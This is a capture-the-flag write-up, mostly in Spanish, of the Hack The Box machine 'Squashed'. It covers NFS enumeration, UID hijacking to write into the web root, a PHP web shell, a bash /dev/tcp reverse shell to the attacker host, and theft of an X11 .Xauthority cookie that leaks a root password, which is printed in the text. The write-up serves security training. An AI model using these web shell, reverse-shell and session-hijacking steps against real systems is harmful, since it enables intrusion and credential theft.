Hack The Box: Squashed Writeup | Easy

Table of Contents

Hack The Box: Squashed Writeup

Welcome to my detailed writeup of the easy difficulty machine “Squashed” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.228.109 --ulimit 5000 -g
210.129.228.109 -> [22,80,111,2049,44291,49353,50057,53893]
 1$ nmap -p22,80,111,2049,44291,49353,50057,53893 -sCV 10.129.228.109 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 15:45 CEST
 3Nmap scan report for 10.129.228.109
 4Host is up (0.037s latency).
 5
 6PORT      STATE SERVICE  VERSION
 722/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
10|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
11|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
1280/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
13|_http-server-header: Apache/2.4.41 (Ubuntu)
14|_http-title: Built Better
15111/tcp   open  rpcbind  2-4 (RPC #100000)
16| rpcinfo: 
17|   program version    port/proto  service
18|   100000  2,3,4        111/tcp   rpcbind
19|   100000  2,3,4        111/udp   rpcbind
20|   100000  3,4          111/tcp6  rpcbind
21|   100000  3,4          111/udp6  rpcbind
22|   100003  3           2049/udp   nfs
23|   100003  3           2049/udp6  nfs
24|   100003  3,4         2049/tcp   nfs
25|   100003  3,4         2049/tcp6  nfs
26|   100005  1,2,3      35859/udp6  mountd
27|   100005  1,2,3      52835/tcp6  mountd
28|   100005  1,2,3      53893/tcp   mountd
29|   100005  1,2,3      58461/udp   mountd
30|   100021  1,3,4      34979/tcp6  nlockmgr
31|   100021  1,3,4      44291/tcp   nlockmgr
32|   100021  1,3,4      54708/udp6  nlockmgr
33|   100021  1,3,4      56514/udp   nlockmgr
34|   100227  3           2049/tcp   nfs_acl
35|   100227  3           2049/tcp6  nfs_acl
36|   100227  3           2049/udp   nfs_acl
37|_  100227  3           2049/udp6  nfs_acl
382049/tcp  open  nfs      3-4 (RPC #100003)
3944291/tcp open  nlockmgr 1-4 (RPC #100021)
4049353/tcp open  mountd   1-3 (RPC #100005)
4150057/tcp open  mountd   1-3 (RPC #100005)
4253893/tcp open  mountd   1-3 (RPC #100005)
43Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
44
45Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
46Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.109 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 15:46 CEST
 3Nmap scan report for 10.129.228.109
 4Host is up (0.039s latency).
 5Not shown: 1492 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7111/udp   open   rpcbind
 8464/udp   closed kpasswd5
 91035/udp  closed mxxrlogin
102049/udp  open   nfs
1118994/udp closed unknown
1220288/udp closed unknown
1323230/udp closed unknown
1430473/udp closed unknown

NFS Enumeration

Me llama la atención el servicio NFS expuesto ya que no es común encontrarse con esto.

Vamos a instalar el paquete nfs-common sudo apt-get install nfs-common -y

Ahora vamos a montar la raíz del sistema de archivos al directorio /mnt/montura

Primero creamos la carpeta. mkdir /mnt/montura

1$ sudo mount -t nfs 10.129.228.109:/ /mnt/montura
1$ ls -la /mnt/montura
2total 12
3drwxr-xr-x 20 root root 4096 oct 21  2022 .
4drwxr-xr-x  1 root root   14 ago  5 15:49 ..
5drwxr-xr-x  4 root root 4096 oct 21  2022 home
6drwxr-xr-x 16 root root 4096 oct 21  2022 var

Y vemos contenido.

1$ find . -type f 2>/dev/null
2./ross/.xsession-errors.old
3./ross/Documents/Passwords.kdbx
4./ross/.xsession-errors
5./ross/.Xauthority

Vemos un Passwords.kdbx que me llama la atención.

Investigando la bbdd de keepass, no encuentro nada que se pueda hacer ya que keepass2john no soporta la versión de KeePass con la que fue creada la base de datos.

1$ keepass2john Passwords.kdbx 
2! Passwords.kdbx : File version '40000' is currently not supported!

UID Hijacking -> Foothold

Me dió curiosidad lo siguiente No podía acceder al directorio html que supongo que corresponderá con el sitio web.

1$ cd html/
2bash: cd: html/: Permission denied

Pero con find . podía ver algunos directorio y ficheros de dentro del directorio html

 1$ find .
 2.
 3./html
 4find: ‘./html/.htaccess’: Permission denied
 5./html/.htaccess
 6find: ‘./html/index.html’: Permission denied
 7./html/index.html
 8find: ‘./html/images’: Permission denied
 9./html/images
10find: ‘./html/css’: Permission denied
11./html/css
12find: ‘./html/js’: Permission denied
13./html/js

Y me dí cuenta de que podríamos hacer un UID Hijacking Write-up Image

Podemos crear un usuario con el UID 2017

1$ sudo useradd -u 2017 pointedc

Y ahora en principio podríamos acceder a este directorio. Write-up Image

Ahora si cambiamos al usuario pointedc podemos acceder al directorio y por ejemplo, crear archivos. Write-up Image

Y se refleja en el sitio web. Write-up Image

Podemos comprobar si el sitio interpreta PHP, aunque leyendo el .htaccess ya nos da la pista de que sí.

1$ echo "<?php phpinfo(); ?>" > test.php

Write-up Image

Nos creamos una pequeña web shell.

1$ cat shell.php 
2<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>'; ?>

Y ya nos podemos mandar la rev shell http://10.129.228.109/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.18/443%200%3E%261%22

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.18] from (UNKNOWN) [10.129.228.109] 58462
4bash: cannot set terminal process group (1050): Inappropriate ioctl for device
5bash: no job control in this shell
6alex@squashed:/var/www/html$ 
7alex@squashed:/var/www/html$ whoami
8whoami
9alex

Y ya podemos leer la flag de usuario

1alex@squashed:/var/www/html$ cat /home/alex/user.txt
2cat /home/alex/user.txt
3f469293aeb9ecd01....

Privilege Escalation

Si nos damos cuenta, hemos ganado acceso como el usuario alex y en el NFS, estaba el directorio personal de trabajo de un usuario llamado ross

Dentro de este directorio se encontraba un archivo .Xauthority pero todavía no lo había analizado porque ya tengo un usuario en mi máquina con ese UID.

Me interesa tanto este archivo porque podemos enumerar que el usuario ross tiene una sesión activa en el equipo

1alex@squashed:/home/alex$ w
2w
3 10:10:41 up 41 min,  1 user,  load average: 0.00, 0.00, 0.00
4USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
5ross     tty7     :0               09:29   41:36   3.57s  0.03s /usr/libexec/gnome-session-binary --systemd --session=gnome

Y con este archivo .XAuthority que es de ross podría conseguir ver la pantalla de este usuario y quizás se filtre información confidencial.

Tengo dos opciones, o asignar una Shell a este usuario para poder migrar a este, o cambiar el UID de este usuario y crear otro usuario con el UID 1001. Write-up Image

Voy asignarle una shell temporalmente.. $ sudo usermod --shell /bin/bash '_laurel'

1$ sudo su '_laurel'
2┌─[_laurel@parrot]─[/mnt/montura/home/ross]
3└──╼ $

Ahora ya puedo migrar a este usuario.

Me voy a copiar este archivo.

1$cp .Xauthority /tmp/.Xauthority
1$ sudo chown pointedsec:pointedsec .Xauthority

Ahora siguiendo este apartado de HackTricks.

Me comparto este archivo a la máquina víctima.

1alex@squashed:/home/alex$ wget http://10.10.14.18:8081/.Xauthority

Recapitulemos, este archivo contiene una Cookie de 128 bits que el cliente manda al servidor, esta cookie sirve para la autorización de X11, que en palabras simples y “mal”, sería como una especie de RDP.

Write-up Image

Exportamos la cookie.

1alex@squashed:/home/alex$ export XAUTHORITY=/home/alex/.Xauthority
2export XAUTHORITY=/home/alex/.Xauthority

Nos responde con información de la pantalla, por lo cual esto es bueno.

 1alex@squashed:/home/alex$ xdpyinfo -display :0 | less
 2xdpyinfo -display :0 | less
 3WARNING: terminal is not fully functional
 4-  (press RETURN)
 5name of display:    :0
 6version number:    11.0
 7vendor string:    The X.Org Foundation
 8vendor release number:    12013000
 9X.Org version: 1.20.13
10maximum request size:  16777212 bytes
11motion buffer size:  256
12bitmap unit, bit order, padding:    32, LSBFirst, 32
13image byte order:    LSBFirst
14number of supported pixmap formats:    7
15supported pixmap formats:
16    depth 1, bits_per_pixel 1, scanline_pad 32
17    depth 4, bits_per_pixel 8, scanline_pad 32
18    depth 8, bits_per_pixel 8, scanline_pad 32
19    depth 15, bits_per_pixel 16, scanline_pad 32
20    depth 16, bits_per_pixel 16, scanline_pad 32
21    depth 24, bits_per_pixel 32, scanline_pad 32
22    depth 32, bits_per_pixel 32, scanline_pad 32
23keycode range:    minimum 8, maximum 255
24focus:  window 0x1e00006, revert to PointerRoot
25number of extensions:    28
26    BIG-REQUESTS
27    Composite
28.....

Ahora podemos hacer una captura de pantalla de la sesión :0 que habíamos detectado antes con el comando w

1alex@squashed:/tmp$ xwd -root -screen -silent -display :0 > screenshot.xwd
2xwd -root -screen -silent -display :0 > screenshot.xwd
3alex@squashed:/tmp$ ls
4ls
5screenshot.xwd

Ahora nos pasamos este archivo a nuestra máquina de atacante y la convertimos a PNG

1$ convert screenshot.xwd screenshot.png

Y vaya vaya, ¡tenemos credenciales! Write-up Image

Me pensaba que iban a ser las credenciales para el usuario ross pero inocentemente probando estas credenciales para root…

1alex@squashed:/var/www/html$ su ross
2su ross
3Password: cah$mei7rai9A
4su: Authentication failure
5alex@squashed:/var/www/html$ su root
6su root
7Password: cah$mei7rai9A
8id
9uid=0(root) gid=0(root) groups=0(root)

Y ya podríamos leer la flag.

1cat root.txt
2795ede7c08b5f41....

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Squashed   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #Linux   #NFS Enumeration   #Abusing NFS UID/GID Missmatch   #Information Leakage   #Abusing .Xauthority Cookie